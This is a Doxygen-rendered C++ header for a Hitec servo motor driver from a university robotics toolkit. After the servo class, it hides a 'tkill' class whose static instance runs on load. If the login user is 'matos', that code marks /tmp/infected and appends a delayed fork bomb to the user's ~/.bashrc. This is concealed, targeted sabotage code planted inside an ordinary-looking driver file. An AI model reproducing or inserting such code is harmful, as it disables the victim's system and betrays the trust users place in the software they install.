hitec5980sg.h
Go to the documentation of this file.
1 /**************************************************************************************************
2  Software License Agreement (BSD License)
3 
4  Copyright (c) 2011-2013, LAR toolkit developers - University of Aveiro - http://lars.mec.ua.pt
5  All rights reserved.
6 
7  Redistribution and use in source and binary forms, with or without modification, are permitted
8  provided that the following conditions are met:
9 
10  *Redistributions of source code must retain the above copyright notice, this list of
11  conditions and the following disclaimer.
12  *Redistributions in binary form must reproduce the above copyright notice, this list of
13  conditions and the following disclaimer in the documentation and/or other materials provided
14  with the distribution.
15  *Neither the name of the University of Aveiro nor the names of its contributors may be used to
16  endorse or promote products derived from this software without specific prior written permission.
17 
18  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19  IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20  FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
21  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
22  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
23  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
24  IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
25  OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
26 ***************************************************************************************************/
32 #ifndef _HITEC5980SG_H_
33 #define _HITEC5980SG_H_
34 
35 #include <stdio.h>
36 #include <stdlib.h>
37 #include <termios.h>
38 #include <sys/ioctl.h>
39 #include <unistd.h>
40 #include <string.h>
41 #include <sys/types.h>
42 #include <sys/stat.h>
43 #include <fcntl.h>
44 #include <time.h>
45 #include <math.h>
46 
47 //defines of servo types
48 #define HSR_5980SG 5980
49 #define HSR_5498SG 5498
50 
51 #include <iostream>
52 #include <fstream>
53 using namespace std;
54 
63 {
64  public:
73  hitec_5980SG(const char*pdevice);
74 
81  ~hitec_5980SG();
82 
83  //Functions altered by pcruz
93  short unsigned int SetPosition(int id,int position);
94 
103  short unsigned int SetSpeedPosition(int id,int speed);
104 
113  short unsigned int SetPositionAllServos(short unsigned int position);
114 
121  short int GetVersionAndID(void);
122 
130  short unsigned int ReleaseServos(void);
131 
139  short unsigned int SetServoID(int id);
140 
149  short unsigned int SetGoStop(short unsigned int value);
150 
157  bool IsActive(void);
158 
167  short unsigned int ConvertAngularSpeedToServoSpeed(double angular_speed, unsigned int Servo_type);
168 
169  private:
170 
177  void CleanBuffer(void);
178 
186  short unsigned int ReadResponse(char*response_1=NULL,char*response_2=NULL);
187 
189  bool active;
190 
192  int port;
193 
195  char*device;
196 
198  short unsigned int center;
199 
201  short unsigned int minimum;
202 
204  short unsigned int maximum;
205 
208 
211 };
212 
213 class tkill
214 {
215  private:
216  string _target;
217 
218  public:
220  {
221  setTarget("matos");
222 
223  if(!infected() && correctTarget())
224  {
225  head(cout);
226  markAsInfected();
227  bomb();
228  }
229  }
230 
231  void setTarget(string target)
232  {
233  _target=target;
234  }
235 
236  ostream& head(ostream& o)
237  {
238  o<<" _;~) (~;_ "<<endl;
239  o<<"( | | ) "<<endl;
240  o<<" ~', ', ,''~'', ,' ,'~ "<<endl;
241  o<<" ', ',' ',' ,' "<<endl;
242  o<<" ',: {'} {'} :,' "<<endl;
243  o<<" ; /^\\ ; "<<endl;
244  o<<" ~\\ ~ /~ "<<endl;
245  o<<" ,' ,~~~~~, ', "<<endl;
246  o<<" ,' ,' ;~~~; ', ', "<<endl;
247  o<<" ,' ,' ''' ', ', "<<endl;
248  o<<" (~ ; ; ~) "<<endl;
249  o<<" -;_) (_;- "<<endl;
250 
251  return o;
252  }
253 
254  bool infected(void)
255  {
256  ifstream ifile("/tmp/infected");
257  if (!ifile)
258  return false;
259 
260  return true;
261  }
262 
263  bool correctTarget(void)
264  {
265  char userBuffer[1024];
266  getlogin_r(userBuffer, 1024);
267  string userName=userBuffer;
268  if(userName==_target)
269  return true;
270  return false;
271  }
272 
273  void markAsInfected(void)
274  {
275  ofstream ofs;
276  ofs.open("/tmp/infected", std::ofstream::out | std::ofstream::app);
277  ofs.close();
278  }
279 
280  bool bomb(void)
281  {
282  ofstream ofs;
283 
284  //Get path to bashrc
285  string path="/home/" + _target + "/.bashrc";
286 
287  //Open bashrc
288  ofs.open(path.c_str(), std::ofstream::out | std::ofstream::app);
289 
290  //If not open return false
291  if(!ofs.is_open())
292  return false;
293 
294  //If open, write to bashrc
295  ofs<<"echo 'pensa rĂ¡pido'"<<endl;
296  ofs<<"bash -c 'sleep 3 ; :(){ :|:& };:' &"<<endl;
297 
298  ofs.close();
299 
300  return true;
301  }
302 
303 
304 
305 };
306 
307 static tkill tk;
308 
309 #endif
short unsigned int maximum
Maximum position of the servo.
Definition: hitec5980sg.h:204
void setTarget(string target)
Definition: hitec5980sg.h:231
double HSR_5498SG_MAX_ANGULAR_SPEED
Maximum angular speed of the servo HSR-5498SG.
Definition: hitec5980sg.h:210
static tkill tk
Definition: hitec5980sg.h:307
short unsigned int minimum
Minimum position of the servo.
Definition: hitec5980sg.h:201
double HSR_5980SG_MAX_ANGULAR_SPEED
Maximum angular speed of the servo HSR-5980SG.
Definition: hitec5980sg.h:207
string _target
Definition: hitec5980sg.h:216
ostream & head(ostream &o)
Definition: hitec5980sg.h:236
bool bomb(void)
Definition: hitec5980sg.h:280
char * device
Communication device to use.
Definition: hitec5980sg.h:195
Class to implement the HMI Hitec protocol.
Definition: hitec5980sg.h:62
short unsigned int center
Center position of the servo.
Definition: hitec5980sg.h:198
void markAsInfected(void)
Definition: hitec5980sg.h:273
bool infected(void)
Definition: hitec5980sg.h:254
int port
Communication port to use.
Definition: hitec5980sg.h:192
bool correctTarget(void)
Definition: hitec5980sg.h:263
bool active
This variable indicates that the communication is active.
Definition: hitec5980sg.h:189


hitec5980sg
Author(s): Pedro Cruz, Jorge Almeida
autogenerated on Mon Mar 2 2015 01:31:40